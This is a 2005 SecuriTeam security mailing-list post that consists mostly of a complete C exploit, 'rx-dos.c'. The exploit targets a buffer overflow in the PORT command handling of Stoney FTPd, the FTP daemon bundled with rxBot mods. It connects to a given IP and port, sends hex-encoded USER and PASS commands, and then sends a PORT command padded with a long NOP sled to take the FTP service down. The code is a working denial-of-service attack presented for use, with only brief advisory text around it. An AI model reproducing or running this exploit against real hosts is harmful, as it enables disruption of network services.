[EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/19/05

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    Date: 19 Sep 2005 10:31:22 +0200
    
    

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      Stoney FTPd Buffer Overflow (PORT, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Stoney FTPd is "FTP daemon, comes as part of rxBot mod". A buffer overflow
    vulnerability exists in Stoneys FTPd, due to the way the program handles
    PORT commands.

    DETAILS

    Exploit:
    /*
        rx-dos.c by D-oNe

        There exists a buffer overflow in Stoneys FTPd that most rxBot mod's
    use.
        The problem lies in how the code parses the PORT command and gives an
    opportunity
        for a buffer overflow.
        
        Problem is that the ftpd also uses select() to handle multiple
    connections. So when
        sending the crafted PORT command select() returns NULL making it
    return and exit the
        FTPd thread resulting merely in a Denial Of Service of the FTPd with
    no crash of the bot
        itself.

        Tested with "rxBot reptile 0.37".
    */

    #pragma comment(lib, "ws2_32")

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <winsock2.h>

    unsigned char user[] =
        "\x55\x53\x45\x52\x20\x31";

    unsigned char pass[] =
        "\x50\x41\x53\x53\x20\x31";

    unsigned char overflow[] =
        "\x50\x4F\x52\x54\x20"
        "\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90";

    int main(int argc, char *argv[])
    {
        char szBuffer[128];
        struct sockaddr_in sin;
        SOCKET sock;
        WSADATA wsadata;
            printf("\nrxBot Stoney FTPd Denial Of Service Exploit by
    D-oNe\n\n");
        if (argc < 3)
        {
                printf("usage: %s <ip> <port>\n", argv[0]);
                printf("[-] Exiting...\n");
                return 0;
        }
        if (WSAStartup(0x0202, &wsadata) != 0)
        {
                printf("[-] WSAStartup() failed!\n");
                return 0;
        }
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = inet_addr(argv[1]);
            sin.sin_port = htons(atoi(argv[2]));
            sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock == SOCKET_ERROR)
        {
                printf("[-] socket() failed!\n");
                return 0;
        }
            printf("[+] Connecting...\n");
        if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) ==
    SOCKET_ERROR)
        {
                printf("[-] connec()t failed!\n");
                return 0;
        }
            recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
        if ((szBuffer[0] != '2') && (szBuffer[1] != '2') && (szBuffer[2] !=
    '0'))
        {
                printf("[-] Wrong string received!\n");
                return 0;
        }
            printf("[+] Sending USER...\n");
        if (!send(sock, user, sizeof(user), 0))
        {
                printf("[-] send() failed!\n");
                return 0;
        }
            recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
        if ((szBuffer[0] != '3') && (szBuffer[1] != '3') && (szBuffer[2] !=
    '1'))
        {
                printf("[-] Wrong string received!\n");
                return 0;
        }
            printf("[+] Sending PASS...\n");
        if (!send(sock, pass, sizeof(pass), 0))
        {
                printf("[-] send() failed!\n");
                return 0;
        }
            recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
        if ((szBuffer[0] != '2') && (szBuffer[1] != '3') && (szBuffer[2] !=
    '0'))
        {
                printf("[-] Wrong string received!\n");
                return 0;
        }
            printf("[+] Sending malicious PORT command...\n");
        if (!send(sock, overflow, sizeof(overflow), 0))
        {
                printf("[-] send() failed!\n");
                return 0;
        }
            memset(szBuffer, 0, sizeof(szBuffer));
            recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
            szBuffer[strlen(szBuffer) - 1] = '\0';
            printf("[+] Recvd: %s\n", szBuffer);
            closesocket(sock);
            WSACleanup();
            printf("[+] FTPd should be out of service!\n", szBuffer);
            return 0;
    }

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918>
    http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918

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